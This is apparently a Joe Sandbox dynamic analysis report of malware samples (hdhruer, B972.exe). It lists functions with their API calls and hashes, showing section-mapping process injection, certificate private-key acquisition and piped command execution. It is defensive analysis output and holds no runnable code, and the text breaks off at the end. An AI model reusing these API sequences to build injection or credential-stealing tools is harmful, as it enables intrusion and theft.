Opcode Fuzzy Hash: e0c996b45f475bcdee2b3acca27bfff8738185ab06689bd0def3de9b12292fcf
Instruction Fuzzy Hash: 95512AB4900245BBEF208F91CC48FAFBBB8EF85B00F14416AF911BA2E5D7759941CB64

Function 00401627 Relevance: 10.7, APIs: 7, Instructions: 170
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8ea2bb8e40d2b6bb7fcf7676f7409f4a6beb0c313e7b1c0bb420ab3e3f8254c1
Instruction ID: 9010f4212e2f095ee6e1513bebcb31b7ed322fe9e8888bc62802b8a5d7df5652
Opcode Fuzzy Hash: 8ea2bb8e40d2b6bb7fcf7676f7409f4a6beb0c313e7b1c0bb420ab3e3f8254c1
Instruction Fuzzy Hash: 795128B4900249BBEF208F91CC48FAFBBB8EF85B00F140169F911BA2A5D7759941CB64

Function 00401641 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a951ce0e9a9537201a4ab380c462e1ce4e6ed323a6f782408602592e2a1882ae
Instruction ID: 9e1831f0ceb5ee828940fa86c31e9463c4dc41faf1b0eb7057c6f8c584aa9f8c
Opcode Fuzzy Hash: a951ce0e9a9537201a4ab380c462e1ce4e6ed323a6f782408602592e2a1882ae
Instruction Fuzzy Hash: 2A5109B5900249BFEF208F91CC48FEFBBB8EF86B00F104159F911AA2A5D7719945CB64

Function 00403103 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040322B
NtTerminateProcess.NTDLL ref: 0040323C

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: dae095e867f3745097cc185a7748a697303a2d44691d7cc8a0ebaf8866640ae2
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: BB415832618E0C8FD768EE6CA8896A377D6E798351B1643BAD808D7384EE30D85183C5

Function 00403257 Relevance: 3.1, APIs: 2, Instructions: 83
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040322B
NtTerminateProcess.NTDLL ref: 0040323C

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8f75c49c67d658a2c62e27a3415f0efa1266b4aad096af7960056c4103048e13
Instruction ID: ab58b7d6b66510dde6bc1fc7e766791280fd84229bd7d6ef16cc780df24ac814
Opcode Fuzzy Hash: 8f75c49c67d658a2c62e27a3415f0efa1266b4aad096af7960056c4103048e13
Instruction Fuzzy Hash: FC1156B181C6448FE714DF78A44A23A7FE4E754326F2407BFD446E12D1D63C8246824B

Function 01FA003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 01FA024D

Strings

cess, xrefs: 01FA018D
kernel32.dll, xrefs: 01FA008F, 01FA0095

Memory Dump Source

Source File: 00000008.00000002.2576079643.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1fa0000_hdhruer.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 2986c96ea02455e376ab3f8f91fd8668def29363e1ec19eb6efd90f862458d90
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 835289B5A00229DFDB64CF58D984BACBBB1BF09304F5480D9E94DAB351DB35AA84CF14

Function 004B239D Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 004B23C5
Module32First.KERNEL32(00000000,00000224), ref: 004B23E5

Memory Dump Source

Source File: 00000008.00000002.2574353685.00000000004A0000.00000040.00000020.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a0000_hdhruer.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: f12833529483d4ba3cca70eb428bc7606b885c612647e918719144ba3a1f2c72
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 85F0C232100315ABD7203BF5A98CAAB72E8BF49324F10152AEA42D11C0CAF8EC458675

Function 01FA0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,01FA0223,?,?), ref: 01FA0E19
SetErrorMode.KERNELBASE(00000000,?,?,01FA0223,?,?), ref: 01FA0E1E

Memory Dump Source

Source File: 00000008.00000002.2576079643.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1fa0000_hdhruer.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: cb8a2fa6b6314028a024efa7a5c923e9ca64f27433e393fd74be4ccb9015de38
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 44D01231545128B7DB002A94DC09BCD7F1CDF09B62F408011FB0DD9080CB75954046E5

Function 004019C0 Relevance: 1.3, APIs: 1, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7f12bac4f1dd78845df68974ec1d6207e79698338a7a17bde6cb34e1bb9e829b
Instruction ID: 8602aea7765920f14b43c6808a0d2033de268e003b0f0e4b19403496b7ccbc2b
Opcode Fuzzy Hash: 7f12bac4f1dd78845df68974ec1d6207e79698338a7a17bde6cb34e1bb9e829b
Instruction Fuzzy Hash: 2B11CE3230A205EADB005AD9A941FBB32199B40754F3041B7B603B90F1953D8913BF2F

Function 004019E0 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e17e85e8ed8125533f7e2167abb1cbc7a5f98fbf5ea5e47149eeb4735b4555ca
Instruction ID: 6e8e83dbc6cb5325300a6df4c81bf03677ed1736eef4dabc06710691df282c78
Opcode Fuzzy Hash: e17e85e8ed8125533f7e2167abb1cbc7a5f98fbf5ea5e47149eeb4735b4555ca
Instruction Fuzzy Hash: FA016D3230A209EADB005AD8AD41E7B3229AB40754F3001B7BA03790F1953D99137F2F

Function 004019EB Relevance: 1.3, APIs: 1, Instructions: 54
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d20dd15212e55eeb93c2ba4d893d672a11c9591f500a1070bb8e30cefc0e7994
Instruction ID: 2b2adc88e5ab551374836522510027b0c35959e32ac3f93f20a40eb2707c2e9b
Opcode Fuzzy Hash: d20dd15212e55eeb93c2ba4d893d672a11c9591f500a1070bb8e30cefc0e7994
Instruction Fuzzy Hash: C2014C3230A205EBDB009AD4ED41B6A3269AB44714F3041B7BA13B91F1D53D9A537F2B

Function 00401A04 Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6956420fd1a0da5a043187b5517324543cb26d58a43067072202fc2494389932
Instruction ID: 8da435b4ef065fa937355dde1d01ef47451206c1f83fca999a74837282515cb4
Opcode Fuzzy Hash: 6956420fd1a0da5a043187b5517324543cb26d58a43067072202fc2494389932
Instruction Fuzzy Hash: 8B01363630A209EADB005AD8AD41EBA22559B44314F3042B7BA13B91F5D53D8A137F2F

Function 004019FD Relevance: 1.3, APIs: 1, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 470eaab1d85efef32b59b6b80de91dfe5f43d1552a0586931a32e3bd1b407b26
Instruction ID: da9cf87a9ed9cba2a5618582a19ce6b128e8deecbf4ee8231104359b1f28a93a
Opcode Fuzzy Hash: 470eaab1d85efef32b59b6b80de91dfe5f43d1552a0586931a32e3bd1b407b26
Instruction Fuzzy Hash: 4601863230A209EADB005AD49D41FBA22199B44714F3041B7BA13B90F1D53D8A137F2F

Function 004B205C Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 004B20AD

Memory Dump Source

Source File: 00000008.00000002.2574353685.00000000004A0000.00000040.00000020.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a0000_hdhruer.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 22139d9f4d49158939a70f65387c23ac1f1c2ecd23adf37a7f1e57fcb2dc7f71
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 09113F79A00208EFDB01DF98CA85E99BBF5AF08350F058095FA489B361D375EA90DF94

Function 00401A15 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 47584117f720a46a046c478722b1e9804fa2bdf0c34a1eb8c3916f7c7194f890
Instruction ID: ef4a3633df93866afb86b86826f27a476d683f03040323dac8a7d7c578d0eba4
Opcode Fuzzy Hash: 47584117f720a46a046c478722b1e9804fa2bdf0c34a1eb8c3916f7c7194f890
Instruction Fuzzy Hash: 17F04432309206EBDB01AAD4DD41FAA3229AB44354F3041B7BA13B90F1D53C86127F2B

Function 00401A20 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e9f1e890604c892da627bf4dac1adaaf6327a8231f252b78f611ae96bce34966
Instruction ID: 08c596e776171f083f15ab2e9130eea247f108212a51f0ba4fb69116c36cf548
Opcode Fuzzy Hash: e9f1e890604c892da627bf4dac1adaaf6327a8231f252b78f611ae96bce34966
Instruction Fuzzy Hash: 4BF0FF3230A209EADB005AD59D51EAA26699B44354F3041B7BA13B90F1D53D8A137F2B

Analysis Process: B972.exePID: 2104, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	22.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.9%
Total number of Nodes:	867
Total number of Limit Nodes:	43

Executed Functions

Function 00007FF6F2D69224 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 158
synchronizationtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF6F2D6924D

Part of subcall function 00007FF6F2D625DC: GetProcessHeap.KERNEL32(?,?,?,00007FF6F2D61985,?,?,?,00007FF6F2D6155F), ref: 00007FF6F2D625E5

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF6F2D693AB
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF6F2D693C0
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF6F2D693EF

Part of subcall function 00007FF6F2D6968C: PeekNamedPipe.KERNELBASE ref: 00007FF6F2D696B8

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF6F2D69421
GetExitCodeProcess.KERNELBASE ref: 00007FF6F2D69460

Strings

& echo , xrefs: 00007FF6F2D692BF

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: ProcessTime$Heap$FileObjectSingleSystemWait$CodeExitFreeNamedPeekPipeTerminate
String ID: & echo
API String ID: 2711250446-3491486023
Opcode ID: 2d6ebe6036ec555fde6b5a2d1141e9a7e3c1177d779b4c0a60f4d7d1f5e2e413
Instruction ID: a2f53be82321afe8e9735e4598150c36c399b95afb77aa72ddb59fbd8ac7b046
Opcode Fuzzy Hash: 2d6ebe6036ec555fde6b5a2d1141e9a7e3c1177d779b4c0a60f4d7d1f5e2e413
Instruction Fuzzy Hash: 4D515521A0964281EF20DB55E5952FA7751FF86B8CF484231CDAEC7AC5EEBCE445CB20

Function 00007FF6F2D67138 Relevance: 4.5, APIs: 3, Instructions: 38
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6F2D67503), ref: 00007FF6F2D6714F
CoInitializeSecurity.COMBASE ref: 00007FF6F2D671B6
CoCreateInstance.COMBASE ref: 00007FF6F2D671D3

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Initialize$CreateInstanceSecurity
String ID:
API String ID: 89549506-0
Opcode ID: b06b60c75a0e364457e69cf4407a40afd88aa559a7b63d120074e74016c78773
Instruction ID: d51061fa72e4597b1a161e07fa5b2f50b3bbf85bb775f1f5927adafc664dd234
Opcode Fuzzy Hash: b06b60c75a0e364457e69cf4407a40afd88aa559a7b63d120074e74016c78773
Instruction Fuzzy Hash: DE118C73A14640CAF7108F61E8593AE7778F34470DF508319DA595A998CF7CD245CF94

Function 00007FF6F2D625B4 Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: ca99f4615b15245bd189999287ccb852a0eef4e8e1b2b120ab7ad689b7598bda
Instruction ID: 43963463a4f71c76262456641233c32042c430cf5f112d489e032a989eb6f8f3
Opcode Fuzzy Hash: ca99f4615b15245bd189999287ccb852a0eef4e8e1b2b120ab7ad689b7598bda
Instruction Fuzzy Hash: 3FC01254E0664242FF2897E3246907153556F59B89B084334CD2A49B91AD6C91D54A14

Function 00007FF6F2D62D5C Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 253
encryptiontimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumCertificatesInStore.CRYPT32 ref: 00007FF6F2D62D90
CertGetNameStringW.CRYPT32 ref: 00007FF6F2D62DD3
CertNameToStrW.CRYPT32 ref: 00007FF6F2D62EB8
CertNameToStrW.CRYPT32 ref: 00007FF6F2D62F0A
FileTimeToSystemTime.KERNEL32 ref: 00007FF6F2D62F4B
FileTimeToSystemTime.KERNEL32 ref: 00007FF6F2D62FC1

Part of subcall function 00007FF6F2D61A70: wvsprintfW.USER32 ref: 00007FF6F2D61AA9

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

CertEnumCertificatesInStore.CRYPT32 ref: 00007FF6F2D63178

Part of subcall function 00007FF6F2D63220: CertGetCertificateContextProperty.CRYPT32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D6325E
Part of subcall function 00007FF6F2D63220: CryptAcquireCertificatePrivateKey.CRYPT32 ref: 00007FF6F2D6328D
Part of subcall function 00007FF6F2D63220: CryptGetUserKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D632BB
Part of subcall function 00007FF6F2D63220: LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D63336
Part of subcall function 00007FF6F2D63220: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D63380
Part of subcall function 00007FF6F2D63220: VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6F2D633AC

Strings

1.2.840.113549, xrefs: 00007FF6F2D6305F, 00007FF6F2D6306F

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Cert$Time$Name$CertificateCertificatesCryptEnumFileHeapStoreSystem$AcquireAddressContextFreeLibraryLoadPrivateProcProcessPropertyProtectStringUserVirtualwvsprintf
String ID: 1.2.840.113549
API String ID: 2787208766-3888290641
Opcode ID: 85948b718ba4c0424fff8cc534e9ee0ea835ac6a641d6d756b78f4ebc14a72b9
Instruction ID: e0a1a1a054d25b2294c2535928a88fb3e0ba21f7c8b2a4c7b5e713965bf3188b
Opcode Fuzzy Hash: 85948b718ba4c0424fff8cc534e9ee0ea835ac6a641d6d756b78f4ebc14a72b9
Instruction Fuzzy Hash: EFB1D862A0864285E750DF51D4912BEBB65FB85BC8F400232EEAD87B99EFBCD105CF50

Function 00007FF6F2D6900C Relevance: 13.6, APIs: 9, Instructions: 137
pipeprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE ref: 00007FF6F2D6905F
GetLastError.KERNEL32 ref: 00007FF6F2D6907D
CreatePipe.KERNELBASE ref: 00007FF6F2D690B7
GetLastError.KERNEL32 ref: 00007FF6F2D690D5
CreatePipe.KERNELBASE ref: 00007FF6F2D690FC
GetLastError.KERNEL32 ref: 00007FF6F2D6911A
CreateProcessW.KERNELBASE ref: 00007FF6F2D691B7
GetLastError.KERNEL32 ref: 00007FF6F2D691DF
CloseHandle.KERNEL32 ref: 00007FF6F2D691F9

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: CreateErrorLast$Pipe$CloseHandleProcess
String ID:
API String ID: 2620922840-0
Opcode ID: 9267b008a02f924b6b5bef3e080468482ce769ef973b61c06ce0dc36898bb274
Instruction ID: f77515d733bd0e39f69a9e696a138693193585dcb236dfd2aac669bf5c8c3e43
Opcode Fuzzy Hash: 9267b008a02f924b6b5bef3e080468482ce769ef973b61c06ce0dc36898bb274
Instruction Fuzzy Hash: C8518F32B08A0289EB10DF61D4953EC37A5AB5978CF414235DE1DDBA99EEBCD109CB50

Function 00007FF6F2D62BAC Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 65
encryptionCOMMON

Download Yara Rule

